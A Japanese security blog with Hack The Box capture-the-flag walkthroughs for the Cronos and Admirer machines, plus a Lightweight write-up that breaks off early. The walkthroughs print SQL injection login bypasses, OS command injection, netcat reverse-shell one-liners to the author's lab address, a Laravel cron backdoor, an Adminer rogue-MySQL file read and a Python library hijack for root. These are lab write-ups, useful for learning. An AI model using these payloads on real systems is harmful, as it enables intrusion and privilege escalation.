セキュリティ技術メモブログ

日々の活動を記録する場所

【Hack The Box】Cronos Walkthrough

はじめに

ポートスキャン

root@kali:~# nmap -sC -sV -Pn -p 1-10000 10.10.10.13
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-12 23:38 JST
Nmap scan report for 10.10.10.13
Host is up (0.25s latency).
Not shown: 9997 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
|   256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_  256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 78.33 seconds

22(ssh)、53(dns)、80(http)が開いている。

hostsファイルに追記

  • IPアドレスを指定してアクセスするとapacheのデフォルトページが表示されるため、/etc/hostsにマシン名のcronos.htbを追記する。
  • http://cronos.htbを指定すると、webページが表示される。 f:id:Paichan:20201230000612p:plain

tcp/53の調査

tcp/53はゾーン情報をやりとりするポート。ゾーン転送要求してみたら返ってきた。★をつけたホストを全部/etc/hostsに追加する。

root@kali:~# dig axfr @10.10.10.13 cronos.htb

; <<>> DiG 9.16.8-Debian <<>> axfr @10.10.10.13 cronos.htb
; (1 server found)
;; global options: +cmd
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb.             604800  IN      NS      ns1.cronos.htb.
cronos.htb.             604800  IN      A       10.10.10.13
admin.cronos.htb.       604800  IN      A       10.10.10.13★
ns1.cronos.htb.         604800  IN      A       10.10.10.13★
www.cronos.htb.         604800  IN      A       10.10.10.13★
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 252 msec
;; SERVER: 10.10.10.13#53(10.10.10.13)
;; WHEN: Sat Dec 12 23:55:51 JST 2020
;; XFR size: 7 records (messages 1, bytes 203)

admin.cronos.htbの調査

ブラウザでアクセス

ログイン画面だった。 f:id:Paichan:20201230000716p:plain

SQLi

ログイン画面といったらSQLi。以下のパターンで試したところ、4つ目(★)でログイン成功。
UserName/Password
admin/' or 1=1
admin' or 1=1 --/a
admin' or 1=1 -- /a
admin' or 1=1#/a ★これで入れた。

OSコマンドインジェクション

ログイン後の画面は、tracerouteやpingを指定したIPへ実行する機能(tracerouteは機能していない)。コマンドの結合をし、OSコマンドインジェクションを試行する。 f:id:Paichan:20201230001228p:plain

ここにlocalhost; lsと入れたら、返ってきた。OSコマンドインジェクションの脆弱性あり。 f:id:Paichan:20201230001253p:plain

リバースシェル

which ncより、ncが入っていることが確認できたので、リバースシェル奪取を目指す。
-eオプションを指定した以下を実行したが失敗。ncのバージョンによってはこのオプションはないため、失敗することもあるようだ。
localhost; nc -e /bin/sh 10.10.14.33 1234
以下を実行して無事成功。
localhostl; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.33 1234 >/tmp/f

user.txt獲得

root@kali:~# nc -lvp 1234
listening on [any] 1234 ...
connect to [10.10.14.33] from cronos.htb [10.10.10.13] 55238
bash: cannot set terminal process group (1371): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cronos:/var/www/admin$
www-data@cronos:/var/www/admin$ cd /home
cd /home
www-data@cronos:/home$ ls
ls
noulis
www-data@cronos:/home$ cd noulis
cd noulis
www-data@cronos:/home/noulis$ ls
ls
user.txt
www-data@cronos:/home/noulis$ cat user.txt
cat user.txt
XXXXXXXXXXXXXXXXX

権限昇格

sudo実行権限の確認

端末と紐づいていないため、そもそも実行できない。pythonimport ptyすれば紐づけられそうだが、www-dataユーザのパスワードも発見できていないめ、やめておく。

www-data@cronos:/home/noulis$ sudo -l
sudo -l
sudo: no tty present and no askpass program specified

SUID

なにもなし。

www-data@cronos:/home/noulis$ find / -perm -4000 f 2>/dev/null
find / -perm -4000 f 2>/dev/null
www-data@cronos:/home/noulis$ 

cron

root権限で毎分実行されている★が気になる。
laravelphpで書かれたwebアプリケーションフレームワーク

www-data@cronos:/home/noulis$ crontab -l
crontab -l
no crontab for www-data
www-data@cronos:/home/noulis$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * *       root    php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1 ★
#

laravelのタスクスケジュール

laravel cronで調べると、laravelのタスクスケジュールはapp/Console/Kernel.phpで記述するという情報が見つかる。
参考:https://reffect.co.jp/laravel/laravel-task-schedule-cron

このファイルの所有者を確認した所、以下であったため、編集可能。このファイルを書き換えてroot.txtを奪取できそう。
※現在のシェルだとvimやnanoが使えないので、攻撃者環境で作成しwgetでもってくるか、sedで対応する必要がある。

www-data@cronos:/var/www/laravel/app/Console$ ls -l
ls -l
total 4
-rw-r--r-- 1 www-data www-data 819 Apr  9  2017 Kernel.php

php-reverse-shell.php

php-reverse-shell.phpを毎分実行するようKernel.phpを書き換える。 github.com

攻撃者環境で待ち受けて・・・

root@kali:~/cronos# python -m SimpleHTTPServer 8888
Serving HTTP on 0.0.0.0 port 8888 ...

wgetで取りに行き、実行権限を付与する。

www-data@cronos:/tmp$ wget http://10.10.14.33:8888/php-reverse-shell.php
www-data@cronos:/tmp$ chmod +x php-reverse-shell.php

Kernel.phpの書き換え

攻撃者環境で、以下の部分(★)を追記。これで毎分実行されるはず。

root@kali:~/cronos# cat Kernel.php 
<?php
(snip)
    /**
     * Define the application's command schedule.
     *
     * @param  \Illuminate\Console\Scheduling\Schedule  $schedule
     * @return void
     */
    protected function schedule(Schedule $schedule)
    {
        // $schedule->command('inspire')
        //          ->hourly();
    $schedule->exec('php -f /tmp/php-reverse-shell.php')->everyMinute(); ★
    }
(snip)

Kernel.phpを持ってくる

上述の方法と同様に、攻撃者環境で用意したKernel.phpwgetで取りに行く。

www-data@cronos:/var/www/laravel/app/Console$ mv Kernel.php Kernerl.php_bak
mv Kernel.php Kernerl.php_bak
www-data@cronos:/var/www/laravel/app/Console$ wget http://10.10.14.33:8888/Kernel.php
<ravel/app/Console$ wget http://10.10.14.33:8888/Kernel.php                  
--2020-12-12 18:59:16--  http://10.10.14.33:8888/Kernel.php
Connecting to 10.10.14.33:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 893 [application/octet-stream]
Saving to: 'Kernel.php'

     0K                                                       100%  158M=0s

2020-12-12 18:59:17 (158 MB/s) - 'Kernel.php' saved [893/893]

www-data@cronos:/var/www/laravel/app/Console$ 

www-data@cronos:/var/www/laravel/app/Console$ ls
ls
Kernel.php
Kernerl.php_bak

root.txt獲得

あとはphp-reverse-shell.phpで指定したポートで待ち受けておけば、1分以内にcronが実行されて、root.txtが獲得できる。

root@kali:~/cronos# nc -lvp 4444
listening on [any] 4444 ...
connect to [10.10.14.33] from cronos.htb [10.10.10.13] 53592
Linux cronos 4.4.0-72-generic #93-Ubuntu SMP Fri Mar 31 14:07:41 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 19:04:01 up  1:36,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=0(root) gid=0(root) groups=0(root)
/bin/sh: 0: can't access tty; job control turned off
# cd /root
# cat root.txt
XXXXXXXXXX

PS

/var/www/laravel/artisanphp-reverse-shell.phpに置き換えてもいけましたね。こっちの方が早い。

【Hack The Box】Admirer Walkthrough

はじめに

ポートスキャン

root@kali:~# nmap -sC -sV -Pn 10.10.10.187
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-12 21:49 JST
Nmap scan report for 10.10.10.187
Host is up (0.24s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey: 
|   2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
|   256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_  256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry 
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.77 seconds

21(ftp)、22(ssh)、80(http)が開いている。 ftpでのanonymousログオンは検出されていないため、80番ポートから見ていく。

80番ポート(http)の調査

ブラウザでアクセス

こんな画面。 f:id:Paichan:20201123015716p:plain

nmapの結果から、robots.txtを見に行く。 f:id:Paichan:20201123015743p:plain

/admin-dirにアクセスを試みるが、403が返ってくる。

ディレクトリスキャン

/admin-dirに対してディレクトリスキャンを行う。拡張子にはHTBでありがちなtxtとapacheだからphpを指定する。

root@kali:~# gobuster dir -u http://10.10.10.187/admin-dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x txt,php -t 100
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.187/admin-dir
[+] Threads:        100
[+] Wordlist:       /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     txt,php
[+] Timeout:        10s
===============================================================
2020/09/12 22:44:21 Starting gobuster
===============================================================
/contacts.txt (Status: 200)
/credentials.txt (Status: 200)
===============================================================
2020/09/12 23:10:51 Finished
===============================================================

contacts.txtとcredentials.txtが気になる。

見つけたtxtファイルの確認

curlでローカルに持ってくる。

contacts.txt

root@kali:~/admirer# curl -O http://10.10.10.187/admin-dir/contacts.txt && cat contacts.txt
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   350  100   350    0     0    738      0 --:--:-- --:--:-- --:--:--   738
##########
# admins #
##########
# Penny
Email: p.wise@admirer.htb


##############
# developers #
##############
# Rajesh
Email: r.nayyar@admirer.htb

# Amy
Email: a.bialik@admirer.htb

# Leonard
Email: l.galecki@admirer.htb



#############
# designers #
#############
# Howard
Email: h.helberg@admirer.htb

# Bernadette
Email: b.rauch@admirer.htb

ユーザ名とメールアドレスが書かれている。

credentials.txt

root@kali:~/admirer# curl -O http://10.10.10.187/admin-dir/credentials.txt && cat credentials.txt
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   136  100   136    0     0    287      0 --:--:-- --:--:-- --:--:--   287
[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P

[FTP account]
ftpuser
%n?4Wz}R$tTF7

[Wordpress account]
admin
w0rdpr3ss01!

各サービスのユーザ名、パスワードが書かれている。

ftp接続

credentials.txtから見つけたFTP accountでftp接続し、dump.sqlとhtml.tar.gzをローカルに持ってくる。

root@kali:~/admirer# ftp 10.10.10.187
Connected to 10.10.10.187.
220 (vsFTPd 3.0.3)
Name (10.10.10.187:root): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0            3405 Dec 02  2019 dump.sql
-rw-r--r--    1 0        0         5270987 Dec 03  2019 html.tar.gz
226 Directory send OK.
ftp> mget *
mget dump.sql? 
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for dump.sql (3405 bytes).
226 Transfer complete.
3405 bytes received in 0.00 secs (19.3289 MB/s)
mget html.tar.gz? 
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for html.tar.gz (5270987 bytes).
226 Transfer complete.
5270987 bytes received in 9.73 secs (529.1583 kB/s)

ダウンロードしたファイルの確認

dump.sql

(多分)mysqldumpコマンドの実行結果。

html.tar.gz

解凍する。/utility-scripts/配下が気になる。

root@kali:~/admirer# mkdir html
root@kali:~/admirer# tar -zxf html.tar.gz -C html/
root@kali:~/admirer# tree
(snip)
├── html
│   ├── assets
│   │   ├── css
│   │   │   ├── fontawesome-all.min.css
│   │   │   ├── images
│   │   │   │   ├── arrow.svg
│   │   │   │   ├── close.svg
│   │   │   │   └── spinner.svg
│   │   │   ├── main.css
│   │   │   └── noscript.css
│   │   ├── js
│   │   │   ├── breakpoints.min.js
│   │   │   ├── browser.min.js
│   │   │   ├── jquery.min.js
│   │   │   ├── jquery.poptrox.min.js
│   │   │   ├── main.js
│   │   │   └── util.js
│   │   ├── sass
│   │   │   ├── base
│   │   │   │   ├── _page.scss
│   │   │   │   ├── _reset.scss
│   │   │   │   └── _typography.scss
│   │   │   ├── components
│   │   │   │   ├── _actions.scss
│   │   │   │   ├── _button.scss
│   │   │   │   ├── _form.scss
│   │   │   │   ├── _icon.scss
│   │   │   │   ├── _icons.scss
│   │   │   │   ├── _list.scss
│   │   │   │   ├── _panel.scss
│   │   │   │   ├── _poptrox-popup.scss
│   │   │   │   └── _table.scss
│   │   │   ├── layout
│   │   │   │   ├── _footer.scss
│   │   │   │   ├── _header.scss
│   │   │   │   ├── _main.scss
│   │   │   │   └── _wrapper.scss
│   │   │   ├── libs
│   │   │   │   ├── _breakpoints.scss
│   │   │   │   ├── _functions.scss
│   │   │   │   ├── _mixins.scss
│   │   │   │   ├── _vars.scss
│   │   │   │   └── _vendor.scss
│   │   │   ├── main.scss
│   │   │   └── noscript.scss
│   │   └── webfonts
│   │       ├── fa-brands-400.eot
│   │       ├── fa-brands-400.svg
│   │       ├── fa-brands-400.ttf
│   │       ├── fa-brands-400.woff
│   │       ├── fa-brands-400.woff2
│   │       ├── fa-regular-400.eot
│   │       ├── fa-regular-400.svg
│   │       ├── fa-regular-400.ttf
│   │       ├── fa-regular-400.woff
│   │       ├── fa-regular-400.woff2
│   │       ├── fa-solid-900.eot
│   │       ├── fa-solid-900.svg
│   │       ├── fa-solid-900.ttf
│   │       ├── fa-solid-900.woff
│   │       └── fa-solid-900.woff2
│   ├── images
│   │   ├── fulls
│   │   │   ├── arch01.jpg
│   │   │   ├── arch02.jpg
│   │   │   ├── art01.jpg
│   │   │   ├── art02.jpg
│   │   │   ├── eng01.jpg
│   │   │   ├── eng02.jpg
│   │   │   ├── mind01.jpg
│   │   │   ├── mind02.jpg
│   │   │   ├── mus01.jpg
│   │   │   ├── mus02.jpg
│   │   │   ├── nat01.jpg
│   │   │   └── nat02.jpg
│   │   └── thumbs
│   │       ├── thmb_arch01.jpg
│   │       ├── thmb_arch02.jpg
│   │       ├── thmb_art01.jpg
│   │       ├── thmb_art02.jpg
│   │       ├── thmb_eng01.jpg
│   │       ├── thmb_eng02.jpg
│   │       ├── thmb_mind01.jpg
│   │       ├── thmb_mind02.jpg
│   │       ├── thmb_mus01.jpg
│   │       ├── thmb_mus02.jpg
│   │       ├── thmb_nat01.jpg
│   │       └── thmb_nat02.jpg
│   ├── index.php
│   ├── robots.txt
│   ├── utility-scripts
│   │   ├── admin_tasks.php
│   │   ├── db_admin.php
│   │   ├── info.php
│   │   └── phptest.php
│   └── w4ld0s_s3cr3t_d1r
│       ├── contacts.txt
│       └── credentials.txt
(snip)

/utility-scriptsの中身探索

/utility-scripts/admin_task.php

データベースへの接続方法らしきものがある。

root@kali:~/admirer# cat html/utility-scripts/admin_tasks.php 
<html>
<head>
  <title>Administrative Tasks</title>
</head>
<body>
  <h3>Admin Tasks Web Interface (v0.01 beta)</h3>
  <?php
  // Web Interface to the admin_tasks script
  // 
  if(isset($_REQUEST['task']))
  {
    $task = $_REQUEST['task'];
    if($task == '1' || $task == '2' || $task == '3' || $task == '4' ||
       $task == '5' || $task == '6' || $task == '7')
    {
      /*********************************************************************************** 
         Available options:
           1) View system uptime
           2) View logged in users
           3) View crontab (current user only)
           4) Backup passwd file (not working)
           5) Backup shadow file (not working)
           6) Backup web data (not working)
           7) Backup database (not working)

           NOTE: Options 4-7 are currently NOT working because they need root privileges.
                 I'm leaving them in the valid tasks in case I figure out a way
                 to securely run code as root from a PHP page.
      ************************************************************************************/
      echo str_replace("\n", "<br />", shell_exec("/opt/scripts/admin_tasks.sh $task 2>&1"));
    }
    else
    {
      echo("Invalid task.");
    }
  } 
  ?>

  <p>
  <h4>Select task:</p>
  <form method="POST">
    <select name="task">
      <option value=1>View system uptime</option>
      <option value=2>View logged in users</option>
      <option value=3>View crontab</option>
      <option value=4 disabled>Backup passwd file</option>
      <option value=5 disabled>Backup shadow file</option>
      <option value=6 disabled>Backup web data</option>
      <option value=7 disabled>Backup database</option>
    </select>
    <input type="submit">
  </form>
</body>
</html>

画面はこんな感じ。 f:id:Paichan:20201123020344p:plain

db_admin.php

認証情報らしきものを発見。

root@kali:~/admirer# cat html/utility-scripts/db_admin.php 
<?php
  $servername = "localhost";
  $username = "waldo";
  $password = "Wh3r3_1s_w4ld0?";

  // Create connection
  $conn = new mysqli($servername, $username, $password);

  // Check connection
  if ($conn->connect_error) {
      die("Connection failed: " . $conn->connect_error);
  }
  echo "Connected successfully";


  // TODO: Finish implementing this or find a better open source alternative
?>

ここで発見したアカウントでssh接続試行したが、失敗した。

Adminerに関する調査

マシン名からして、adminerが使われていることが予想できる。(名前だけは知っていた)
adminerとは、phpMyAdminのようなデータベース管理ツール。
以下の参考サイトより、adminerの管理画面にアクセスするためには、adminer.phpにアクセスすれば良いとのことが分かる。
Adminer インストール|Zenlogicサポートサイト[IDCフロンティア]

http://10.10.10.187/utility-scripts/adminer.phpにアクセスすると、以下のようなログイン画面が表示された。Adminerのバージョンも4.6.2と判明する。 f:id:Paichan:20201123233828p:plain ユーザ名、パスワードの候補は上述の通りいくつかあるが、データベース名が見当つかず、ログインはできない。

adminerの脆弱性について調べる

root@kali:~/admirer# searchsploit adminer 4
----------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                         |  Path
----------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Adminer 4.3.1 - Server-Side Request Forgery                                                                                                                            | php/webapps/43593.txt
----------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

使えそうなものはなかったため、インターネットでadminer 4.6 exploitで検索すると、一番上に以下のサイトが見つかる。
Serious Vulnerability Discovered in Adminer database Administration Tool

二番目には脆弱性を突く手順を動画付きで解説しているページが見つかる。 Serious Vulnerability Discovered in Adminer database Administration Tool

脆弱性を突く

手順に沿って進めていく。

First

まず、攻撃者は被害者のAdminerインスタンスにアクセスしますが、被害者のMySQLデータベースに接続しようとするのではなく、自分のサーバーでホストされている自分のMySQLデータベースに「戻る」ように接続します。

root@kali:~/admirer# systemctl mysql start
root@kali:~/admirer# mysql -u root
MariaDB [(none)]> create database hack;
MariaDB [(none)]> use hack;
MariaDB [hack]> create table hack_table1(data varchar(10000));
MariaDB [hack]> create user user1 identified by 'user1password';

外部から接続できるように/etc/mysql/mariadb.conf.d/50-server.cnfbind-addressを変更し、サービスを再起動。

root@kali:~/admirer# cat /etc/mysql/mariadb.conf.d/50-server.cnf | grep bind-address
bind-address            = 0.0.0.0
root@kali:~/admirer# systemctl restart mysql

攻撃側のIPアドレスを指定し、接続試行。 f:id:Paichan:20201229003916p:plain ログインできたが、「不正なデータベース」と表示される。 f:id:Paichan:20201229003927p:plain 調べると、作成したユーザの権限はデフォルトでは何もない状態なので、それが原因かも。

MariaDB [(none)]> show grants for user1;
+------------------------------------------------------------------------------------------------------+
| Grants for user1@%                                                                                   |
+------------------------------------------------------------------------------------------------------+
| GRANT USAGE ON *.* TO `user1`@`%` IDENTIFIED BY PASSWORD '*110F5A4519AE120878960E635D8CFCBFAED6C618' |
+------------------------------------------------------------------------------------------------------+
1 row in set (0.000 sec)

USAGE という権限が設定されている。USAGE という権限は「何も権限がない」という権限とのこと。全部の権限を付与。

MariaDB [(none)]> GRANT ALL ON *.* TO user1@'%' IDENTIFIED BY 'user1password';
Query OK, 0 rows affected (0.000 sec)
MariaDB [(none)]> show grants for user1;
+---------------------------------------------------------------------------------------------------------------+
| Grants for user1@%                                                                                            |
+---------------------------------------------------------------------------------------------------------------+
| GRANT ALL PRIVILEGES ON *.* TO `user1`@`%` IDENTIFIED BY PASSWORD '*110F5A4519AE120878960E635D8CFCBFAED6C618' |
+---------------------------------------------------------------------------------------------------------------+
1 row in set (0.000 sec)
root@kali:~/admirer# systemctl restart mysql

行けた。 f:id:Paichan:20201229004037p:plain

Second

第二に、被害者の Adminer (自分のデータベースに接続されている) を使用して、被害者のサーバー上のローカルファイルを指定して、MySQL コマンド 'LOAD DATA LOCAL' を使用します。このコマンドは、Adminer インスタンスのローカルファイルからデータベースにデータをロードするために使用されます。

load data local infile '../index.php'
into table hack_table1
fields terminated by "\n"

実行後、「選択」をクリックするとwaldoのパスワードを発見。 f:id:Paichan:20201229004113p:plain

$servername = "localhost";
$username = "waldo";
$password = "&<h5b~yK3F#{PaPB&dA}{H>";
$dbname = "admirerdb";

userシェル奪取

この認証情報をつかってssh接続。

root@kali:~/admirer# ssh waldo@10.10.10.187
waldo@10.10.10.187's password: 
Linux admirer 4.9.0-12-amd64 x86_64 GNU/Linux

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Wed Apr 29 10:56:59 2020 from 10.10.14.3
waldo@admirer:~$ ls
user.txt
waldo@admirer:~$ cat user.txt
XXXXXXXXXXXX

権限昇格のための情報収集

sudoの実行権限確認

waldo@admirer:~$ sudo -l
[sudo] password for waldo: 
Matching Defaults entries for waldo on admirer:
    env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always

User waldo may run the following commands on admirer:
    (ALL) SETENV: /opt/scripts/admin_tasks.sh

waldoはadminsグループに属しているので、admin_tasks.shが実行できるようだ。

waldo@admirer:/home$ ls -l /opt/scripts/admin_tasks.sh 
-rwxr-xr-x 1 root admins 2613 Dec  2  2019 /opt/scripts/admin_tasks.sh
waldo@admirer:/home$ id
uid=1000(waldo) gid=1000(waldo) groups=1000(waldo),1001(admins)

admin_tasks.shは以下。

waldo@admirer:~$ cat /opt/scripts/admin_tasks.sh 
#!/bin/bash
view_uptime()
(snip)
view_users()
(snip)
view_crontab()
(snip)
backup_passwd()
(snip)
backup_shadow()
(snip)
backup_web()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Running backup script in the background, it might take a while..."
        /opt/scripts/backup.py & ★
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}
backup_db()
(snip)
echo "[[[ System Administration Menu ]]]"
PS3="Choose an option: "
COLUMNS=11
select opt in "${options[@]}"; do
    case $REPLY in
        1) view_uptime ; break ;;
        2) view_users ; break ;;
        3) view_crontab ; break ;;
        4) backup_passwd ; break ;;
        5) backup_shadow ; break ;;
        6) backup_web ; break ;;
        7) backup_db ; break ;;
        8) echo "Bye!" ; break ;;
        *) echo "Unknown option." >&2
    esac
done
exit 0

6) backup_webを選択したときに、/opt/scripts/backup.pyが実行されるようだ。
/opt/scripts/backup.pyは以下。

waldo@admirer:~$ cat /opt/scripts/backup.py 
#!/usr/bin/python3
from shutil import make_archive ★
src = '/var/www/html/'
# old ftp directory, not used anymore
#dst = '/srv/ftp/html'
dst = '/var/backups/html'
make_archive(dst, 'gztar', src) ★

shutilライブラリから、make_archiveを実行している。
pip show shutilでライブラリがあるpathを調べるがpip入っていなかった。pipでいれたライブラリではない。別のスクリプトからimportしていると判断。

>>> import shutil
>>> print shutil.__file__
/usr/lib/python2.7/shutil.pyc ★

参考:https://www.lifewithpython.com/2014/07/python-get-location-of-libraries-modules-packages.html
pythonが見に行くライブラリ保存場所を確認。

>>> import sys
>>> import pprint
>>> pprint.pprint(sys.path)
['',
 '/usr/lib/python2.7', ★←ここにshutilがある
 '/usr/lib/python2.7/plat-x86_64-linux-gnu',
 '/usr/lib/python2.7/lib-tk',
 '/usr/lib/python2.7/lib-old',
 '/usr/lib/python2.7/lib-dynload',
 '/usr/local/lib/python2.7/dist-packages',
 '/usr/lib/python2.7/dist-packages']

上記7この場所を読み取っていることが分かる。。 tmp配下にshutil.pyを作成し、PYTHONPATHの優先順位を変える。
以下のようなshutil.pyを/tmp/hackに置く。

waldo@admirer:/tmp/hack$ cat shutil.py 
import os
def make_archive(a, b, c):
        os.system("cp /root/root.txt /tmp/hack/root.txt; chmod 777 root.txt")

admin_task.shを実行して完。

waldo@admirer:/tmp/hack$ sudo PYTHONPATH=/tmp/hack /opt/scripts/admin_tasks.sh 
[[[ System Administration Menu ]]]
1) View system uptime
2) View logged in users
3) View crontab
4) Backup passwd file
5) Backup shadow file
6) Backup web data
7) Backup DB
8) Quit
Choose an option: 6
Running backup script in the background, it might take a while...
waldo@admirer:/tmp/hack$ cat root.txt 
XXXXXXXXXXXXXXXXXXXXXXXXXXXX

参考:Python Tips:ライブラリ・モジュールの場所を調べたい - Life with Python

【Hack The Box】Lightweight Walkthrough

はじめに

ポートスキャン

root@kali:~# nmap -sC -sV -Pn -p 1-10000 10.10.10.119
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-01 00:39 JST
Nmap scan report for lightweight.htb (10.10.10.119)
Host is up (0.26s latency).
Not shown: 9997 filtered ports
PORT    STATE  SERVICE VERSION
22/tcp  open   ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 19:97:59:9a:15:fd:d2:ac:bd:84:73:c4:29:e9:2b:73 (RSA)
|   256 88:58:a1:cf:38:cd:2e:15:1d:2c:7f:72:06:a3:57:67 (ECDSA)
|_  256 31:6c:c1:eb:3b:28:0f:ad:d5:79:72:8f:f5:b5:49:db (ED25519)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
|_http-title: Lightweight slider evaluation page - slendr
389/tcp open   ldap    OpenLDAP 2.2.X - 2.3.X
| ssl-cert: Subject: commonName=lightweight.htb
| Subject Alternative Name: DNS:lightweight.htb, DNS:localhost, DNS:localhost.localdomain
| Not valid before: 2018-06-09T13:32:51
|_Not valid after:  2019-06-09T13:32:51
|_ssl-date: TLS randomness does not represent time

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 707.93 seconds

22(ssh)、80(http)、389(ldap)が開いている。
389ポートのLDAP通信は平文。636だと暗号化通信LDAPS。
問題タイトルもlightweightなので、LDAPに関する問題だと思われる。

80番ポート(http)の調査

トップページ

ブルートフォース対策がされているらしい。 f:id:Paichan:20201121234650p:plain

info

ブルートフォースを検知すると、5分間アクセスできなくなるとのことなので、ディレクトリスキャンはやめておく。 f:id:Paichan:20201121234739p:plain

status

banされているかどうか、ステータスが見れるページ。(ロードがかなり遅い(★これがそれなりに重要)) f:id:Paichan:20201121234817p:plain

user

ユーザ名、パスワードともに自分のIPアドレスssh接続できると記載がある。 f:id:Paichan:20201121234842p:plain

ssh接続

webページに記載のある通り、自分のIPアドレスでログイン。 ldapuser1ldapuser2がいる。ディレクトリの中は見れないが、どちらかにuser.txtがあると思われる。

root@kali:~# ssh 10.10.14.33@10.10.10.119
10.10.14.33@10.10.10.119's password: 
[10.10.14.33@lightweight ~]$ id
uid=1003(10.10.14.33) gid=1003(10.10.14.33) groups=1003(10.10.14.33) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[10.10.14.33@lightweight ~]$ ls -l /home
total 0
drwx------. 4 10.10.14.2  10.10.14.2   91 Nov 16  2018 10.10.14.2
drwx------. 4 10.10.14.33 10.10.14.33  91 Oct 31 16:17 10.10.14.33
drwx------. 4 ldapuser1   ldapuser1   181 Jun 15  2018 ldapuser1
drwx------. 4 ldapuser2   ldapuser2   197 Jun 21  2018 ldapuser2

capabilityを調べる

getcapコマンドで、/usr/bin/usr/sbinのcapabilityを調査。

[10.10.14.33@lightweight ~]$ getcap -r /usr/bin, /usr/sbin
/usr/bin, (No such file or directory)
